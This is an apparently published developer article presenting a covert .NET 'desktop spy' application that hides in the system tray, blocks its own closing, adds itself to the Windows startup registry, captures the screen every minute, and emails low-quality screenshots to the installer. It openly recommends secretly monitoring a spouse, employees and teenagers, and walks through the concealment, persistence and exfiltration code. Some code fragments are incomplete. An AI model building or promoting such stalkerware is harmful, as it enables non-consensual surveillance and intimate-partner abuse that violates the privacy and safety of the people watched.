Some time ago, I needed to capture a certain computer's desktop in order to find out what that user is doing every day. So, I made a .NET 2.0 Winforms Application which stays on system tray (optional) and capture the desktop in given time interval (say every 60 secs) and emailed the captured images to me as message attachment (say every 30 mins). It ensures the captures are small enough and embedded inside HTML email so that I don't need to open hundreds of attachments and see the screenshots. I could just read through the email and see the captures made. You will find this application quite handy in many use cases including:
- Keep an eye on employees who spend too much time on web or chatting. See what they really do.
- Keep an eye on your better half in case s/he is cheating on you.
- Keep an eye on your teenagers and see how they use the computer. Find the amount of time they browser porn on web.
All you do is sit back and relax in your office and the app informs you every 30 mins via email what your subject is doing on the computer. You don't need to worry about missing some captures when you are away from your computer. It will be safely kept in your inbox and you can go through all the captures on your weekend.
How to Use the Application
Configure the following settings from the Visual Studio Settings Designer (if you have Visual Studio):
Configure the path where the screenshots will be stored. Then configure the duration, default is every 1 minute, one screenshot is taken. "To" contains the email address of yours. Use free email services because very soon you will find it's filled up. Username and Password is for the SMTP authentication. "
SMTP" contains the SMTP Server name or IP. "
MailSendDelay" is the delay between sending emails.
All you need to do is build the app and run it once on the computer which you want to keep an eye on. It will hide itself on the system tray as a harmless icon and register itself on the startup and start capturing immediately. After a week or two, cleanup the "C:\temp" folder where the screenshots are kept.
You can also configure the properties at run time after running it once on a computer. This is for those who does not have Visual Studio in order to configure the settings before building it.
In order to launch the configuration dialog box while the application is running, find the icon on the system tray and click mouse buttons exactly in this order:
- Press and hold left and right mouse button on the system tray icon one after another
- Release only the right mouse button while holding the left mouse button down
This will bring up the configuration dialog:
Here you can make changes while it is running.
Once the application is run on a PC, it will register itself in the startup. So, every time Windows starts, it will load the application automatically and start taking screenshots.
Let's learn some interesting stuffs from this application:
Prevent Closing the Application When Close Button is Clicked
The spy application needs to keep on running all the time. So, we need to prevent it from closing. In order to keep the application running, one window must remain loaded and hidden. So, that window's
FormClosing event must cancel the close event.
private void MainForm_FormClosing(object sender, FormClosingEventArgs e)
e.Cancel = true;
The window is also made hidden and not to appear on the taskbar. You can turn off
ShowInTaskbar property from the
Form's properties. The Properties window is kept alive all the time hidden and moved away from visible area.
Capture Screenshot of Desktop
The following code can take a screenshot of the whole screen. It only takes primary screen's screenshot. If you have multiple monitor, then you need to capture them individually.
using (Bitmap bmpScreenshot =
using (Graphics gfxScreenshot = Graphics.FromImage(bmpScreenshot))
0, 0, Screen.PrimaryScreen.Bounds.Size, CopyPixelOperation.SourceCopy);
bitmap object for the whole screen size is created and then the graphics from the screen is copied to the
Convert the Bitmap to Low Resolution JPEG
A desktop screenshot is a large picture and can easily size about 300 KB when converted to JPEG regular mode. If you have high resolution like 1600X1024 or more, the screenshot size will be even bigger. If such large files are emailed to you as attachment, it will be a real pain for you and your mail server. So, you need to convert the bitmap to a low quality JPEG.
ImageCodecInfo codec = GetEncoderInfo("image/jpeg");
System.Drawing.Imaging.Encoder qualityEncoder = System.Drawing.Imaging.Encoder.Quality;
EncoderParameter ratio = new EncoderParameter(qualityEncoder, 10L);
EncoderParameters codecParams = new EncoderParameters(1);
codecParams.Param = ratio;
Here we configure the JPEG codec with very low resolution (10%).
GetEncoderInfo is a function which runs through all available codecs and finds the one we need.
private static ImageCodecInfo GetEncoderInfo(String mimeType)
encoders = ImageCodecInfo.GetImageEncoders();
for (j = 0; j < encoders.Length; ++j)
if (encoders[j].MimeType == mimeType)
} return null;
Once the conversion is done, you can save the
bitmap in a file.
using (FileStream fs = new FileStream(filePath, FileMode.Create))
bmpScreenshot.Save(fs, codec, codecParams);
Handling Win32 Exception
I noticed sometimes during screen capture, an unknown
Win32Exception throws up. There's no way to work around this problem until I restart the application. Here's how I do it:
catch (Exception x)
if (x is Win32Exception)
How to Email the Pictures as Embedded Image in HTML Format
You can email the pictures as regular attachment. But that makes looking at those screenshots very difficult as you have to double click on each and every attachment. A better approach is to create an HTML formatted email body where the screenshots are embedded one after another. Thus you can just read the email with the screenshots and see every thing that has been captured at one glimpse.
First connect to the mail server using
SmtpClient client = new SmtpClient(Settings.Default.Smtp);
client.Credentials = new NetworkCredential
MailMessage msg = new MailMessage(Settings.Default.To, Settings.Default.To);
msg.Subject = DateTime.Now.ToString();
msg.IsBodyHtml = true;
The last line starts an HTML formatted email body. We are going to construct an HTML mail where the images will be inline. The tricky part is to build the body of the message. The body requires that we create
<img> tag for each image inside the body in this format:
<img src=cid:ID_OF_THE_IMAGE />
The ID needs to be the
ContentID of the
LinkedResource instance which is created for each image. Here's the code:
List<LinkedResource> resources = new List<LinkedResource>();
for (int i = Settings.Default.LastSentFileNo; i < Settings.Default.LastFileNo; i++)
string filePath = FilePath(i);
body.AppendLine("<img src=cid:Capture" + i.ToString() + " />");
LinkedResource logo = new LinkedResource(filePath);
logo.ContentId = "Capture" + i.ToString();
I keep a counter for the last capture file name and the last emailed file number. Then for each capture file which has not been emailed yet, I create a
LinkedResource for the image and then add it in the resources list. I also build the body of the message which contains the
<img> tag with the
Then we create something called
AlternateView for the message body which says the message has an HTML view:
AlternateView htmlView =
AlternateView.CreateAlternateViewFromString(body.ToString(), null, "text/html");
foreach (LinkedResource resource in resources)
This view contains the HTML body and the resource collection.
After this, the email is sent asynchronously so that the screen capture process does not get stuck. It generally takes a while to send the image with all the screenshots embedded. So, you can't do this synchronously.
client.Timeout = 10 * 60 * 1000;
client.SendCompleted += new SendCompletedEventHandler(client_SendCompleted);
catch (Exception x)
How to register application to start at startup
I have a handy
RegistryHelper class which can register a path in the system registry at Software\Microsoft\Windows\CurrentVersion\Run location. Whatever you put there, Windows launches it at startup. I found this code somewhere on the web long time back. Not sure who's the original author.
internal static class RegistryHelper
private const string REGISTRY_VALUE = "DesktopSpyStartup";
public static void RegisterAtStartup()
RegistryKey rkHKLM = Registry.LocalMachine;
System.Reflection.Assembly ass = System.Reflection.Assembly.GetEntryAssembly();
string directory = System.IO.Path.GetDirectoryName( ass.Location );
string starterPath = System.IO.Path.Combine( directory, "DesktopCapture.exe" );
Console.WriteLine("Entry successfully created in the registry!");
Console.WriteLine("Unable to create an entry for the application!");
public static void UnregisterAtStartup()
RegistryKey rkHKLM = Registry.LocalMachine;
rkRun.DeleteValue( REGISTRY_VALUE );